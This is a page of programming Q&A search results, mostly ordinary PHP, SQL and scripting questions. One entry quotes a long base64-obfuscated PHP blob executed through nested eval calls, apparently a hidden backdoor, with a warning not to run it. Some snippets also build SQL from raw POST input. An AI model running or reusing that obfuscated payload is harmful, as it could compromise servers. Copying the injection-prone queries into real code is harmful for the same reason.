Search Results

Search found 3111 results on 125 pages for 'labeled statements'.

Page 54/125 | < Previous Page | 50 51 52 53 54 55 56 57 58 59 60 61  | Next Page >

  • how can I check data has been inserted successfully

    - by Piyush
    I have two insert statements.Second one will be executed only after successful execution of First one.What I wd like to do is- $sqlone="Insert into ....."; $sqltwo="Insert into....."; If(mysql_query($sqlone)) { If(mysql_query($sqltwo)) { show message Data inserted in both tables. } }

    Read the article

  • Convert tax like IRS function to SQL

    - by CrashRoX
    Trying to convert this tax-like IRS function http://stackoverflow.com/questions/1817920/calculating-revenue-share-at-different-tiers to SQL. The assumption is the table would be one column (price) and the tiers will be added dynamically. My first attempt has some case statements that didn't work out well. I have since scrapped it :) Thanks for the help!

    Read the article

  • How to make NOT IN statement via Restrictions

    - by slavig
    I used this trick: List statuses = new ArrayList(); Criteria criteria = session.createCriteria(MessageQueue.class); criteria.add(Restrictions.not(Restrictions.in("message_status", statuses))); and this code creates: ...from MESSAGE_QUEUE mq where not (mq.message_status in (?, ?, ?, ?))... but I need: ...from MESSAGE_QUEUE mq where mq.message_status NOT IN (?, ?, ?, ?) Du you think they are equal statements?

    Read the article

  • C: Convert A ? B : C into if (A) B else C

    - by tur1ng
    I was looking for a tool that can convert C code expressions for the form: a = (A) ? B : C; into the 'default' syntax with if/else statements: if (A) a = B else a = C Does someone know a tool that's capable to do such a transformation? I work with GCC 4.4.2 and create a preprocessed file with -E but do not want such structures in it.

    Read the article

  • if `int != 1` or `int == 0`?

    - by Emil
    Hey. I was coding here the other day, writing a couple of if statements with ints that are always either zero or one (~bools), and I asked myself: Should I use if (int == 1) or if (int != 0) ? Is there any difference at all? Please, don't answer with stuff regarding the int may being more/less than 1/0, that's not what I want to know.

    Read the article

  • alternative to rescue in ruby ?

    - by wefwgeweg
    it seems like i have begin rescue end statements everywhere in my code. this doesn't seem like the correct thing to do. i am learning process, can anyone suggest how can i catch any exceptions without having to place everything inside begin,rescue, end. anyway to just tell ruby to shut up and just keep going even if exception is raised ?

    Read the article

  • Sanitize GET query with Apache

    - by Freelancer
    Hello everyone, I see there's a lot of talk here about how to go about sanitizing data. Could it be as simple as adding this rewrite rule to .htaccess? RewriteRule ^([\w\-]+)$ index.php?page=$1 To my understanding this will allow only letters, numbers, _ and - in $1, am I right? If you add to this usage of prepared statements for SQL queries, it should be pretty proof, is that right? Somehow feels like too easy to be true, am I missing something, any ways to firm it up?

    Read the article

  • string concatenation in Groovy seems unconvenient

    - by Zombies
    My goal is to write this: println "this should be 3: ($1+2)" //this is invalid groovy, it won't run Yet this is valid in ruby. Is there a way I can put statements that will eval inside a string or must I use complete variables names? I am basically looking for the Ruby equivalent of: puts "this shoud be 3: #{1+2}" #this is valid ruby

    Read the article

  • How to log SQL output to text file on client from C#

    - by Rob Packwood
    I have a large auditing stored procedure that prints values and runs some SELECT statements. When running within SQL Management Studio we have the use select to display "Results to Text" so all of the SQL results and print statement display in one place. Now I need to have some C# code also call this auditing procedure at the end of the process and basically store all data that would be in the "Results to Text" window into a .txt file. How can this be done?

    Read the article

  • Can somebody decode this base64 php file??? [closed]

    - by lensflare007
    Warning: contains eval statements, do not blindly run this in an environment you care about! $o="QAAAO2NucSdka2Z0dDolZGtiZgQAdSU5OygBQDkNOzh3b3cnbmkAAGRrcmNiJy9TQkpXS0ZTQlcAAUZTTycpJyAoZWhzc2hqKQJQAKAgLjwnODkODQOUDQVCbmM6JWELgGhoc2IFIA0BwAVABoVha2JhcyU5AAQNRGh3fnVuYG9zJyFkALA8J4AEBzNiZG9oJ2Nmc2IvIF4FsDg5gAEBhGVraGBuaWFoLyBpZmpiAaIIADtldSgKoGYnb3ViYTolb3NzAAB3PSgocHBwKXBiZTVhYmJrAAApZGhqKCU5J0F1YmInUGh1AABjV3VidHQnU29iamJ0JzsoDQBmOScnBGQPAiMLQSc6J2Bic1hoABp3c25oaS8ga2V1WAFxBzAnCdJ0BDpzdW53dBNQb2J0LwMiECIQG2QCAHTuARBADiIO4DsKZQ5jDOd1dHQ1WHJ1awXxAAA4OSU5VHJldGR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bGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    Read the article

  • Generate Delete Statement From Foreign Key Relationships in SQL 2008 ?

    - by Element
    Is it possible via script/tool to generate a delete statement based on the tables fk relations. i.e. I have the table: DelMe(ID) and there are 30 tables with fk references to its ID that I need to delete first, is there some tool/script that I can run that will generate the 30 delete statements based on the FK relations for me ? (btw I know about cascade delete on the relations, I can't use it in this existing db) I'm using Microsoft SQL Server 2008

    Read the article

  • SQL Server Query with "ELSE:"

    - by Mike D
    I have various VB6 projects I'm maintaining with some of the queries being passed to the server having "ELSE:" with the colon used in case statements. I'm wondering can someone tell me what the **ll the colon is used for? It causes errors in SQL2005 and greater, but SQL2000 works with no complaints. I'd like to just remove it from the code & re-compile, but I'm afraid it'll break 10 other things in the application.. Thanks in advance...

    Read the article

  • Clustered Index

    - by Charu
    Which type of index(clustered/non clustrered) should be used for Insert/Update/Delete statement in SQL Server. I know it creates an additional overhead but is it better in performance as comparison to non clustered index? Also which index should be use for Select statements in SQL Server?

    Read the article

  • Should I focus on java or on C#

    - by Daniel
    My friend started his computer engineering studies this semester, and wants to know if he should focus on Java or C#? While I am more on the Java side of life, I don't know what to answer him unbiased, so If you can give some unbiased statements on this, this would be great.

    Read the article

  • How to pass a variable to a IN clause?

    - by Thanu
    Lets say I have a SP that has a SELECT statements as follows, SELECT product_id, product_price FROM product WHERE product_type IN ('AA','BB','CC'); But data goes to that IN clause must be through a single variable that contains the string of values. Something link below SELECT product_id, product_price FROM product WHERE product_type IN (input_variables); But its not working that way. Any idea how to do this?

    Read the article

  • Problem with PHP & MySQL

    - by Shahd
    I wrote this statements but it is not work :( ... can you tell me why? HTML: <form action="join.php" method="post"> <label name="RoomName">Room1</label> </form> PHP: $roomName = $_POST['RoomName']; $roomID = "SELECT RoomID FROM rooms WHERE RoomName = $roomName";

    Read the article

< Previous Page | 50 51 52 53 54 55 56 57 58 59 60 61  | Next Page >